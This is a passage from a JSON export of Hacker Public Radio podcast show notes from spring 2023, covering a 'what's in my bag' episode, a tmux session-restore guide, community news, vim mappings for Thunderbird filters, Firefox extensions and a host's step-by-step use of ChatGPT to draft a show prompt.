                                                            \n

                                                            \n

                                                            Second main compartment

                                                            \n

                                                            [18:20] I have a Morgan foldable brolly which I occasionally use when\ncaught in the rain. Refer to picture 09

                                                            \n

                                                            Picture 9
                                                            \n

                                                            \n

                                                            [18:30] I have a pair of foldable military ear defenders. I picked\nthem up while I was at an air show I think at Ingliston many years ago.\nRefer to pictures 10 and 11

                                                            \n

                                                            Picture 10
                                                            \n

                                                            \n

                                                            Picture 11
                                                            \n

                                                            \n

                                                            Third compartment\ncontaining a pile of keech

                                                            \n

                                                            [19:30] I mention the Scottish word Keech. Definition of the\nScottish word Keech.

                                                            \n

                                                            [20:25] I found an old Unite Magazine from 2019 in my bag. A Wikipedia article\nabout the Unite Union

                                                            \n

                                                            [20:30] I mention I found on old article from 2006 about the\npossibility of a bird flu epidemic and how to protect yourself should it\nhappen.

                                                            \n

                                                            Wikipedia\narticle about Avian influenza H5N1 commonly known as bird flu

                                                            \n

                                                            Wikipedia\narticle about the magazine New Scientist

                                                            \n

                                                            [22:15] I mention that found a letter from my company with a\ndesignated worker heading. If required this letter was to allow me to\ndrive to work at the height of the COVID-19 pandemic. I do remember\nhaving to do this at least once and that the roads were deserted like\nsome post apocalyptic scene from a movie. Despite this I never needed to\nshow the letter to anyone.

                                                            \n

                                                            [22:55] I talk about a sketch I made a number of years ago for a\ntimber post. I was told this was needed in order to place a charging\npoint midway up my driveway. This was needed for an electric car I was\nthinking of buying. I ended up abandoning the idea as it all got too\ncomplicated. I believe things have since improved and I now wish I’d\nbought the car is it actually went up in value!

                                                            \n

                                                            [24:00] I briefly mention a piece of paper entitled disk tidy that\ncontained various Linux commands. I think this was a number of Ideas I\nwanted to try out to tease out which directories were taking up the most\nspace on a hard drive I had. These days I either use the du command or\nsometimes ncurses command ncdu.

                                                            \n

                                                            [24:30] I talk about a pile of old documents I came across that may\nhave copyright issues so I won’t include them in the show notes. However\nI’ll include the following related links

                                                            \n

                                                            [24:40] The first document I found was from the from many years ago\nwith a foot note saying it was from the UN Population Division UNDE SA\nOxfam World Centre WWF giving various stats about global population,\nresource usage and carbon emissions Link to UN Population\nDivision

                                                            \n

                                                            Link\nto UN DESA (Department of Economic and Social Affairs)

                                                            \n

                                                            Wikipedia\narticle about

                                                            \n

                                                            [26:00] I came across an old illustration from the BBC I think from\naround 2012 which had two graphs from the UK showing the vast number of\nstaff working in the DWP (Department of Work and Pensions) to recover a\npotential small amount of fraud in the UK benefits system and comparing\nthis to the tiny number of staff they had working in the UK's HMRC (HM\nRevenue and Customs) that could have recovered a potentially vast amount\nof tax evasion fraud. Wikipedia article about the BBC\n- British Broadcasting corporation

                                                            \n

                                                            Wikipedia\narticle about the DWP - Department for Work and Pensions

                                                            \n

                                                            Wikipedia\narticle about the HMRC - HM Revenue and Customs

                                                            \n

                                                            [27:45] I briefly mention a paper I found that mentioned peak oil. I\nfeel this is now less of a problem as there is more than enough left in\nthe ground to fry humanity. Link to Wikipedia article\nabout peak oil.

                                                            \n

                                                            [27:45] I mention a Breadboard layout I found which I created to use\nwith a Digital IO add on board on one of my raspberry pi’s. Refer to my\nprevious HPR show 2901 Wikipedia article about\nBreadboards

                                                            \n

                                                            Last compartment of bag –\nmain area

                                                            \n

                                                            [28:50] I mention that I carry a bottle of water to work. The bottle\nis a stainless steel water bottle that is double walled vacuum\ninsulated. It can hold ‎500 Millilitres of liquid. It claims to be able\nto keep liquids cool for 24 Hours. I've been very impressed with it as\nit seems to be able to keep the water cool for the whole day I am at\nwork. Amazon\nlink to water bottle

                                                            \n

                                                            [29:00] I mention that I carry a roll of masking tape. This comes in\nhandy for all sorts of situations. Often to create ad-hoc labels for things. Wikipedia\narticle about masking tape

                                                            \n

                                                            [29:05] I mention that the skin on my hands can get very dry\nespecially when I’m at the office due to it having low humidity. I use\nNutrogena hand cream to combat this. Amazon\nlink to Nutrogena hand cream

                                                            \n

                                                            [29:42] I mention that I carry a stapler which comes in handy from\ntime to time. Refer to picture 12. Wikipedia article about\nstaplers

                                                            \n

                                                            Picture 12
                                                            \n

                                                            \n

                                                            [29:50] I mention that I carry magnifying glass as my eyesight is not\nas good as it used to be. Wikipedia article\nabout magnifying glasses

                                                            \n

                                                            [29:55] I mention that I also carry a pencil case to work. Wikipedia article about\nthe pencil case

                                                            \n

                                                            [30:09] I found a Caramel Wacko chocolate bar biscuit in the bag I\ntake to work (Refer to picture 13). These are available from from Aldi.\nAldi is discount food store in the UK. Wikipedia article about\nAldi

                                                            \n

                                                            Picture 13
                                                            \n

                                                            \n","hostid":201,"series":23,"explicit":1,"license":"CC-BY-SA","tags":"Bag, Work","version":0,"downloads":0,"valid":1}, {"id":3843,"date":"2023-04-26","title":"LinuxLUGCast pre-show ramblings","duration":4348,"summary":"Lugcast participants ramble about things before the podcast","notes":"

                                                            I first want to apologize for my crappy show notes.

                                                            \n

                                                            That out of the way. Welcome to LinuxLUGCast episode 217 the\npre-show. Normally this gets tacked on to the end of the regular\npodcast, but Ken put out a call for shows and we figured this was the\neasiest way to get a show out. I was going to try to meet up with these\nsame people on Mumble and talk about something technical for HPR, but\nlet's be honest the conversation would probably still have turned into\nTV and movies, and we were already together and recording. Plus\nhopefully I can use this to convince other people to come and join the\nLugcast. We record every first and third Friday of the month using\nmumble. Check out linuxlugcast.com for all the details.

                                                            \n","hostid":269,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"linux,movies,TV,LUG","version":0,"downloads":0,"valid":1}, {"id":3844,"date":"2023-04-27","title":"2022-2023 New Years Show Episode 6","duration":7254,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #6

                                                            \n\n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3845,"date":"2023-04-28","title":"Using tmux, the terminal multiplexer Overview","duration":707,"summary":"Archer72 uses tmux and restores sessions between reboots","notes":"

                                                            Using tmux, the terminal multiplexer on multiple machines

                                                            \n
                                                              \n
                                                            • Terminal is ROXTerm
                                                            • \n
                                                            • Uncheck 'Show Menubar'
                                                            • \n
                                                            \n

                                                            ROXTerm on Github

                                                            \n

                                                            What is Tmux?

                                                            \n

                                                            Tmux wiki on Github

                                                            \n

                                                            Getting started

                                                            \n

                                                            Tmux Getting Started page on\nGithub

                                                            \n

                                                            Tmux Cheat Sheet & Quick Reference

                                                            \n

                                                            Tmux\nCheat Sheet

                                                            \n

                                                            Basic .tmux.conf

                                                            \n
                                                            set -g prefix C-a\nunbind C-b\nbind C-a send-prefix\nsetw -g window-status-activity-style "fg=colour27,bg=colour234,none"
                                                            \n

                                                            Remote .tmux.conf

                                                            \n
                                                            set -g prefix C-f\nunbind C-b\nbind C-f send-prefix\nsetw -g window-status-activity-style "fg=colour27,bg=colour234,none"
                                                            \n

                                                            Start tmux

                                                            \n
                                                            tmux a -d
                                                            \n
                                                              \n
                                                            • Split pane horizontal - Prefix + %
                                                            • \n
                                                            • Split pane vertical - Prefix + \"
                                                            • \n
                                                            \n

                                                            Tmux resurrect

                                                            \n

                                                            Key bindings

                                                            \n
                                                                prefix + Ctrl-s - save\n    prefix + Ctrl-r - restore
                                                            \n

                                                            About

                                                            \n

                                                            This plugin goes to great lengths to save and restore all the details\nfrom your tmux environment. Here's what's been taken care of:

                                                            \n
                                                              \n
                                                            • all sessions, windows, panes and their order
                                                            • \n
                                                            • current working directory for each pane
                                                            • \n
                                                            • exact pane layouts within windows (even when zoomed)
                                                            • \n
                                                            • active and alternative session
                                                            • \n
                                                            • active and alternative window for each session
                                                            • \n
                                                            • windows with focus
                                                            • \n
                                                            • active pane for each window
                                                            • \n
                                                            • \"grouped sessions\" (useful feature when using tmux with multiple\nmonitors)
                                                            • \n
                                                            • programs running within a pane! More details in the restoring\nprograms doc.
                                                            • \n
                                                            \n

                                                            Optional:

                                                            \n
                                                              \n
                                                            • restoring vim and neovim sessions
                                                            • \n
                                                            • restoring pane contents
                                                            • \n
                                                            • restoring a previously saved environment
                                                            • \n
                                                            \n

                                                            Installing TPM (Tmux Plugin Manager) , Tmux Resurrect and Tmux\nContinuum

                                                            \n
                                                              \n
                                                            • In ~/.tmux/plugins/
                                                            • \n
                                                            \n
                                                            git clone https://github.com/tmux-plugins/tpm.git\ngit clone https://github.com/tmux-plugins/tmux-resurrect.git\ngit clone https://github.com/tmux-plugins/tmux-continuum.git
                                                            \n
                                                              \n
                                                            • In a tmux window
                                                            • \n
                                                            \n
                                                            prefix + I
                                                            \n
                                                              \n
                                                            • Installs new plugins from GitHub or any other git\nrepository

                                                            • \n
                                                            • Refreshes TMUX environment

                                                            • \n
                                                            • Create a directory ~/.tmux/resurrect/

                                                              \n
                                                                \n
                                                              • This is where tmux-resurrect and tmux-continuum saves are\nlocated
                                                              • \n
                                                              • Do nothing and tmux-continuum saves automatically every 15 mins
                                                              • \n
                                                              • At any time use Prefix + Ctrl-s to save a snapshot of\nyour session
                                                              • \n
                                                              • To restore a session to the last save before a reboot\n
                                                                  \n
                                                                • use Prefix + Ctrl-s
                                                                • \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            Here are the steps to restore to a previous point in time:

                                                            \n
                                                              \n
                                                            • make sure you start this with a \"fresh\" tmux instance
                                                            • \n
                                                            • $ cd ~/.tmux/resurrect/
                                                            • \n
                                                            • locate the save file you'd like to use for restore (file names have\na stamp)
                                                            • \n
                                                            • symlink the last file to the desired save file: $\nln -sf <file_name> last
                                                            • \n
                                                            • do a restore with tmux-resurrect key:\nPrefix + Ctrl-r
                                                            • \n
                                                            \n

                                                            Tmux on laptop

                                                            \n

                                                            tmux_laptop.conf

                                                            \n

                                                            Tmux on remote machine

                                                            \n

                                                            tmux_remote.conf

                                                            \n

                                                            Screenshot

                                                            \n

                                                            \n","hostid":318,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"tmux, terminal apps, lightweight apps","version":0,"downloads":0,"valid":1}, {"id":3846,"date":"2023-05-01","title":"HPR Community News for April 2023","duration":3813,"summary":"HPR Volunteers talk about shows released and comments posted in April 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3826Mon2023-04-03HPR Community News for March 2023HPR Volunteers
                                                            3827Tue2023-04-04Reply to hpr 3798 Brian in Ohio
                                                            3828Wed2023-04-05The Oh No! News.Some Guy On The Internet
                                                            3829Thu2023-04-06The Edinburgh cohort of HPR hosts stops Mumbling!Dave Morriss
                                                            3830Fri2023-04-07Into New MexicoAhuka
                                                            3831Mon2023-04-10Introducing Bumble Bee.Some Guy On The Internet
                                                            3832Tue2023-04-11How I left Google behindminnix
                                                            3833Wed2023-04-12Software Freedom PodcastKen Fallon
                                                            3834Thu2023-04-132022-2023 New Years Show Episode 5HPR Volunteers
                                                            3835Fri2023-04-14Retro Karaoke machine Part 2Archer72
                                                            3836Mon2023-04-17Using 'zoxide', an alternative to 'cd'Dave Morriss
                                                            3837Tue2023-04-18Make a vortex cannonMike Ray
                                                            3838Wed2023-04-19Biking to WorkJon Kulp
                                                            3839Thu2023-04-20Rip a CD in the terminalArcher72
                                                            3840Fri2023-04-21Playing the Original CivilizationAhuka
                                                            3841Mon2023-04-24The Oh No! News.Some Guy On The Internet
                                                            3842Tue2023-04-25What’s in my bag seriesMrX
                                                            3843Wed2023-04-26LinuxLUGCast pre-show ramblingsHonkeymagoo
                                                            3844Thu2023-04-272022-2023 New Years Show Episode 6HPR Volunteers
                                                            3845Fri2023-04-28Using tmux, the terminal multiplexer OverviewArcher72
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 16 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 6 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3819\n(2023-03-23) \"Remapping Mouse Buttons with XBindKeys on Linux\"\nby Jon Kulp.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nZen_floater2 on 2023-04-03:\n\"LOOK EVERYBODY!!!\"

                                                              \n
                                                            • hpr3822\n(2023-03-28) \"A tale of wonder, angst and woe\"\nby Bookewyrmm.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nBookewyrmm on 2023-04-17:\n\"small update\"

                                                              \n
                                                            • hpr3823\n(2023-03-29) \"Gitlab Pages for website hosting\"\nby norrist.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nrho`n on 2023-04-01:\n\"Congfiguring HPR site generator\"

                                                              \n
                                                            • hpr3825\n(2023-03-31) \"Creating a natural aquarium\"\nby minnix.
                                                              \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nminnix on 2023-04-01:\n\"video demonstration\"
                                                              • \n
                                                              • \nComment 4:\nAhuka on 2023-04-03:\n\"Brings back memories\"
                                                              • \n
                                                              • \nComment 5:\nminnix on 2023-04-06:\n\"Hi Ahuka\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 10 comments on 8 of this month's shows:

                                                            \n\n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2023-April/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Unicode characters in shows

                                                            \n

                                                            It came to light during the month that shows with Unicode characters\nin their title, summary or notes were not being represented properly on\nthe website.

                                                            \n

                                                            This is the definition of Unicode on Wikipedia:

                                                            \n
                                                            \n

                                                            Unicode, formally The Unicode Standard, is an information technology\nstandard for the consistent encoding, representation, and handling of\ntext expressed in most of the world's writing systems. The standard,\nwhich is maintained by the Unicode Consortium, defines as of the current\nversion (15.0) 149,186 characters covering 161 modern and historic\nscripts, as well as symbols, thousands of emoji (including in colors),\nand non-visual control and formatting codes.

                                                            \n
                                                            \n

                                                            The software and database behind the HPR website come from a time\nbefore Unicode, but had been updated to use this encoding a number of\nyears ago. However, it was discovered that some changes had been\noverlooked.

                                                            \n

                                                            We are currently making changes to ensure that Unicode is properly\ndisplayed on the web site, and in audio tags. It will be necessary to\nfind and correct encoding errors in the database, and this process will\nbe carried out as soon as possible. ✓

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3847,"date":"2023-05-02","title":"All about Synchrotrons","duration":50,"summary":"Beginning of a series on Synchrotrons","notes":"

                                                            I moved cities a few years ago to start work at the Australian\nSynchrotron. While I'm always going to be a software engineer, and I'm\nnever going to be on top of all the science aspects of a synchrotron, I\nprobably now know enough to be able to put together a series all about\nsynchrotrons.

                                                            \n","hostid":315,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"science","version":0,"downloads":0,"valid":1}, {"id":3848,"date":"2023-05-03","title":"Editing Thunderbird email filters using vim.","duration":1845,"summary":"Sgoti uses vim sessions to quickly edit his email filters.","notes":"

                                                            Prerequisites:

                                                            \n
                                                              \n
                                                            • Backups of ALL your data (especially your\nThunderbird directory).
                                                              \n
                                                            • \n
                                                            • Confirm your backups are working as expected.
                                                              \n
                                                            • \n
                                                            • Vim text editor installed with at least a basic/novice level\nknowledge of vim.
                                                              \n
                                                            • \n
                                                            • Thunderbird email client installed with at least a basic/novice\nlevel knowledge of the Thunderbird email client.
                                                              \n
                                                            • \n
                                                            • Web browser (preferably Firefox).
                                                              \n
                                                            • \n
                                                            \n

                                                            Thunderbird Directories.

                                                            \n

                                                            I’m on a GNU/Linux system (Pop_OS!) and I have Thunderbird installed\nvia the apt system package manager (.deb).

                                                            \n
                                                              \n
                                                            • System package manager install.\n
                                                                \n
                                                              • $HOME/.thunderbird/
                                                              • \n
                                                            • \n
                                                            • Snap package manager install.\n
                                                                \n
                                                              • $HOME/snap/.thunderbird/
                                                              • \n
                                                            • \n
                                                            • Flatpak package manager install.\n
                                                                \n
                                                              • $HOME/.var/.thunderbird/
                                                              • \n
                                                            • \n
                                                            • Windows 10 install.\n
                                                                \n
                                                              • C:\\Users\\your-account\\AppData\\Roaming\\Thunderbird\\
                                                              • \n
                                                            • \n
                                                            • Your Thunderbird email filters are located in this subdirectory\n(msgFilterRules.dat).\n
                                                                \n
                                                              • $HOME/.thunderbird/*.default-release/ImapMail/imap.email-accounts.com/msgFilterRules.dat
                                                              • \n
                                                            • \n
                                                            \n

                                                            Vim Directories.

                                                            \n

                                                            I’ve created subdirectories within $HOME/.config/ as a\nplace to store my vim sessions. You may not have these directories on\nyour system, but you can create them using the mkdir\ncommand.
                                                            \n

                                                            \n
                                                              \n
                                                            • $HOME/.config/vim/sessions/session-files-here.vim
                                                            • \n
                                                            \n

                                                            Vim session file.

                                                            \n

                                                            I’ve created session files for purposes of editing my Thunderbird\nemail filters. This session only stores the shortcuts needed to make\nflawless edits to my email filters. I will share them with you.
                                                            \n

                                                            \n
                                                            nnoremap <leader>1 2dw$x0:s/ OR /\\rOR /g<CR>\nnnoremap <leader>2 Icondition="<Esc>A"<Esc>0:s/ "$/"/<CR>\nnnoremap <leader>n1 gg0VG:s/$/ /<CR>gg0VG:s/  *$/ /<CR>gg0\nnnoremap <leader>s1 gg02f,<C-v>G$ugg02f,<C-v>G$:sort u<CR>gg0
                                                            \n

                                                            Web sources.

                                                            \n
                                                              \n
                                                            • Article: Vim\n- the ubiquitous text editor
                                                              \n
                                                                \n
                                                              • Supporting Article: Vim Documentation:\nThe vim book (pdf file).
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Thunderbird is a free email application\nthat’s easy to set up and customize...
                                                              \n
                                                                \n
                                                              • Supporting Article: Thunderbird Support site.
                                                                \n
                                                              • \n
                                                              • Supporting Article: Keyboard shortcuts. Perform common\nThunderbird tasks quickly.
                                                                \n
                                                              • \n
                                                              • Supporting Article: Protect your\nThunderbird passwords with a Primary Password.
                                                                \n
                                                              • \n
                                                              • Supporting Article: Organize\nYour Messages by Using Filters.
                                                                \n
                                                              • \n
                                                              • Supporting Article: Profiles. Where Thunderbird stores\nyour messages and other user data.
                                                                \n
                                                              • \n
                                                            • \n
                                                            • Article: Vim’s\nsessions, a tool to instantly save the state of everything in your\ncurrent Vim session.
                                                              \n
                                                            • \n
                                                            \n

                                                            Creative work License.

                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Thunderbird, Vim, Email Filters","version":0,"downloads":0,"valid":1}, {"id":3849,"date":"2023-05-04","title":"trouble shooting","duration":610,"summary":"don't over look the obvious","notes":"

                                                            Kernel message
                                                            \n
                                                            Click the thumbnail\nto see the full-sized image

                                                            \n

                                                            BIOS message
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n

                                                            CMOS
                                                            \n
                                                            Click the thumbnail to see the\nfull-sized image

                                                            \n

                                                            RAM
                                                            \n
                                                            Click the thumbnail to see the\nfull-sized image

                                                            \n

                                                            Mother board side
                                                            \n
                                                            Click the\nthumbnail to see the full-sized image

                                                            \n

                                                            The culprit
                                                            \n
                                                            Click the thumbnail to\nsee the full-sized image

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"repair, trouble shooting","version":0,"downloads":0,"valid":1}, {"id":3850,"date":"2023-05-05","title":"New Mexico 2","duration":822,"summary":"We finish our stay in New Mexico and head to Presidio, Texas.","notes":"

                                                            We finished our stay in Anthony with a Saturday trip into Las Cruces\nto see the local market and the museums, more hiking, and a trip to see\nNative American Petroglyphs. We also went into El Paso to check out the\nzoo. It was fine, but we confirmed that we don't really like going into\nEl Paso. We are not much on driving in big cities any longer,\nparticularly in a big truck. Then it was time to move on to our next\nstop, Presidio, Texas. This is so close to the border that a 5 minute\nwalk takes you to the Rio Grande.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, RV life, New Mexico, Anthony, Las Cruces, El Paso, Presidio","version":0,"downloads":0,"valid":1}, {"id":3851,"date":"2023-05-08","title":"Firefox extensions","duration":391,"summary":"Ken walks through a list of Extensions he has installed in Firefox and why he uses them","notes":"

                                                            The following is a list of the extensions I have enabled all the\ntime.

                                                            \n
                                                              \n
                                                            • Absolute\nEnable Right Click and Copy Force Enable Right Click & Copy
                                                            • \n
                                                            • Awesome\nRSS Puts an RSS/Atom subscribe button back in URL bar.
                                                            • \n
                                                            • cookies.txt\nExports all cookies to a Netscape HTTP Cookie File, as used by curl,\nwget, and youtube-dl, among others.
                                                            • \n
                                                            • Don't\nFeck With Paste This add-on stops websites from blocking copy and\npaste for password fields and other input fields.
                                                            • \n
                                                            • Firefox\nMulti-Account Containers Lets you keep parts of your online life\nseparated into color-coded tabs. Cookies are separated by container,\nallowing you to use the web with multiple accounts.
                                                            • \n
                                                            • https://tools.google.com/dlpage/gaoptout\nTells the Google Analytics JavaScript not to send information to Google\nAnalytics.
                                                            • \n
                                                            • KeePassXC-Browser\nOfficial browser plugin for the KeePassXC password manager (https://keepassxc.org) the\nCross-platform Password Manager
                                                            • \n
                                                            • ModHeader\n- Modify HTTP headers Modify HTTP request headers, response headers,\nand redirect URLs
                                                            • \n
                                                            • uBlock\nOrigin Finally, an efficient blocker. Easy on CPU and memory.
                                                            • \n
                                                            • User-Agent\nSwitcher Switch between popular useragent strings from toolbar\npopup!
                                                            • \n
                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Extensions,Firefox,Security,Copy,Paste,Block,Privacy","version":0,"downloads":0,"valid":1}, {"id":3852,"date":"2023-05-09","title":"UDM ubiquiti Setup for 2023","duration":634,"summary":"I talk briefly about my UDM router setup for 2023","notes":"

                                                            UDM / Piehole script:
                                                            \nhttps://github.com/freeload101/SCRIPTS/blob/master/Bash/UDM_Unifi_Block_Ads.sh

                                                            \n","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"wireless,computers,networking","version":0,"downloads":0,"valid":1}, {"id":3853,"date":"2023-05-10","title":"Creating a Prompt for ChatGPT to generate an HPR show","duration":613,"summary":"A rushed episode going over the steps I used to create a ChatGPT prompt to generate an HPR episode","notes":"

                                                            Introduction

                                                            \n

                                                            Hello and Welcome hacker public radio audience my name is … and\nwelcome to this podcast.

                                                            \n

                                                            As usual I'd like to thank the people at HPR for making this service\navailable to us all on these here inter-tubes. Hacker Public Radio is a\ncommunity led podcast provided by the community for the community. That\nmeans you can contribute too.

                                                            \n

                                                            In this episode I decided to see if I could get get ChatGPT to write\nan HPR episode about itself. I was initially reluctant to do this.\nHowever, since HPR was recently short on shows and I was rather short on\ntime and ideas I decided to give it a go.

                                                            \n

                                                            One reason for my reluctance was that I didn't want HPR to be flooded\nwith shows generated by ChatGPT. The other reason being that a great\nshow covering ChatGPT was previously provided by the hpr host \"dnt\"\nentitled \"Chatbot hallucination\". Refer to 3803 https://hackerpublicradio.org/eps.php?id=3803.\nIn comparison, my poor attempt took about 10 minutes to generate while I\nwas waiting to be called for lunch.

                                                            \n

                                                            Below are the steps I used to generate the prompt to generate a show\nfor HPR.

                                                            \n

                                                            You interface with ChatGPT by providing it prompts. This just means\ntyping some text into the input field within the ChatGPT website.

                                                            \n

                                                            The steps I used\nto produce the ChatGPT prompt

                                                            \n

                                                            Here is how I did it. Keep in mind that the complete process took\njust 10 minutes.

                                                            \n
                                                              \n
                                                            • I visited the ChatGPT website at:- https://chatgpt.org/

                                                            • \n
                                                            • I copied and pasted the following prompt into ChatGPT. The text\nfor this prompt came from the following youtube video: \"The ONE ChatGPT\nPrompt to Rule Them All\" by Jason West :-

                                                              \n
                                                                \n
                                                              • I want you to become my Prompt Creator. Your goal is to help me\ncraft the best possible prompt for my needs. The prompt will be used by\nyou, ChatGPT. You will follow the following process:

                                                                \n
                                                                  \n
                                                                1. Your first response will be to ask me what the prompt should be\nabout. I will provide my answer, but we will need to improve it through\ncontinual iterations by going through the next steps.

                                                                2. \n
                                                                3. Based on my input, you will generate 3 sections.

                                                                  \n

                                                                  a) Revised prompt (provide your rewritten prompt. It should be clear,\nconcise, and easily understood by you),

                                                                  \n

                                                                  b) Suggestions (provide suggestions on what details to include in the\nprompt to improve it), and

                                                                  \n

                                                                  c) Questions (ask any relevant questions pertaining to what\nadditional information is needed from me to improve the\nprompt).

                                                                4. \n
                                                                5. We will continue this iterative process with me providing\nadditional information to you and you updating the prompt in the Revised\nprompt section until it's complete.

                                                                6. \n
                                                              • \n
                                                            • \n
                                                            \n

                                                            ChatGPT responded with:-

                                                            \n
                                                            \n

                                                            Sounds like a fun and collaborative process! What should the prompt\nbe about?

                                                            \n
                                                            \n

                                                            I replied with the\nfollowing prompt:-

                                                            \n
                                                            \n

                                                            Write a show for the hacker public radio podcast describing the\nhistory and use of ChatGPT. Include some examples about what it can be\nused for. Also include some relevant web links about ChatGPT.

                                                            \n
                                                            \n

                                                            ChatGPT responded with:-

                                                            \n
                                                            \n

                                                            Great! Based on your input, here are the revised prompt, suggestions,\nand questions for further clarification:

                                                            \n
                                                            \n

                                                            Revised prompt:

                                                            \n
                                                            \n

                                                            Create a Hacker Public Radio podcast episode that explores the\nhistory and applications of ChatGPT. Share examples of how ChatGPT can\nbe used and include relevant web links for listeners to learn more.

                                                            \n
                                                            \n

                                                            Suggestions:

                                                            \n
                                                              \n
                                                            • Consider including information about the development of ChatGPT,\nsuch as who created it and when.
                                                            • \n
                                                            • Provide clear and concise examples of how ChatGPT can be used in\nvarious industries and fields, such as customer service, content\ncreation, and chatbots.
                                                            • \n
                                                            • Highlight the benefits and limitations of using ChatGPT, including\nits ability to learn and adapt to user inputs and the potential ethical\nconcerns surrounding its use.
                                                            • \n
                                                            • Provide relevant web links, such as the official OpenAI website and\narticles about the latest developments in ChatGPT technology.
                                                            • \n
                                                            \n

                                                            Questions:

                                                            \n
                                                              \n
                                                            • Is there a specific angle or focus you want to take in exploring the\nhistory and applications of ChatGPT?
                                                            • \n
                                                            • Do you have any specific examples or use cases of ChatGPT that you\nwould like to be included in the podcast episode?
                                                            • \n
                                                            • How technical should the podcast be? Should it cater to a more\ngeneral audience or dive into more technical details?
                                                            • \n
                                                            \n

                                                            I replied with the\nfollowing prompt:-

                                                            \n
                                                              \n
                                                            • Create a Hacker Public Radio podcast episode that explores the\nhistory and applications of ChatGPT. Share examples of how ChatGPT can\nbe used and include relevant web links for listeners to learn\nmore.

                                                            • \n
                                                            • Include information about the development of ChatGPT, such as who\ncreated it and when.

                                                            • \n
                                                            • Provide clear and concise examples of how ChatGPT can be used in\nvarious industries and fields, such as customer service, content\ncreation, and chatbots.

                                                            • \n
                                                            • Highlight the benefits and limitations of using ChatGPT,\nincluding its ability to learn and adapt to user inputs and the\npotential ethical concerns surrounding its use.

                                                            • \n
                                                            • Provide relevant web links, such as the official OpenAI website\nand articles about the latest developments in ChatGPT\ntechnology.

                                                            • \n
                                                            • The show is mainly aimed at hobbyist. Many of the listeners will\nhave Linux experience and IT experience. Some listeners may have some\nprogramming experience.

                                                            • \n
                                                            • The article should cater for both a general audience while also\ndiving into more technical details.

                                                            • \n
                                                            • Format the article using markdown as required.

                                                            • \n
                                                            \n

                                                            ChatGPT responded with:-

                                                            \n

                                                            Revised prompt:

                                                            \n
                                                            \n

                                                            Create a Hacker Public Radio podcast episode exploring the history\nand applications of ChatGPT, an artificial intelligence language model\ndeveloped by OpenAI. ChatGPT has become increasingly popular due to its\nability to understand and generate human-like text, and its applications\nspan a wide range of industries and fields.

                                                            \n

                                                            In this episode, we will dive into the development of ChatGPT,\nincluding who created it and when. We will explore the technology behind\nit and how it has evolved over time.

                                                            \n
                                                            \n
                                                            \n

                                                            We will also provide clear and concise examples of how ChatGPT can be\nused in various industries and fields, such as customer service, content\ncreation, and chatbots. For example, ChatGPT can be used to generate\npersonalized responses to customer inquiries in real-time, create\nhigh-quality content for websites and social media platforms, and power\nchatbots that can assist with a range of tasks.

                                                            \n

                                                            Additionally, we will highlight the benefits and limitations of using\nChatGPT, including its ability to learn and adapt to user inputs and the\npotential ethical concerns surrounding its use. As ChatGPT continues to\ngrow in popularity, it is important to consider the implications of\nusing AI technology that can generate human-like text, such as the\npotential for bias and misinformation.

                                                            \n

                                                            To provide listeners with more information, we will include relevant\nweb links, such as the official OpenAI website and articles about the\nlatest developments in ChatGPT technology.

                                                            \n

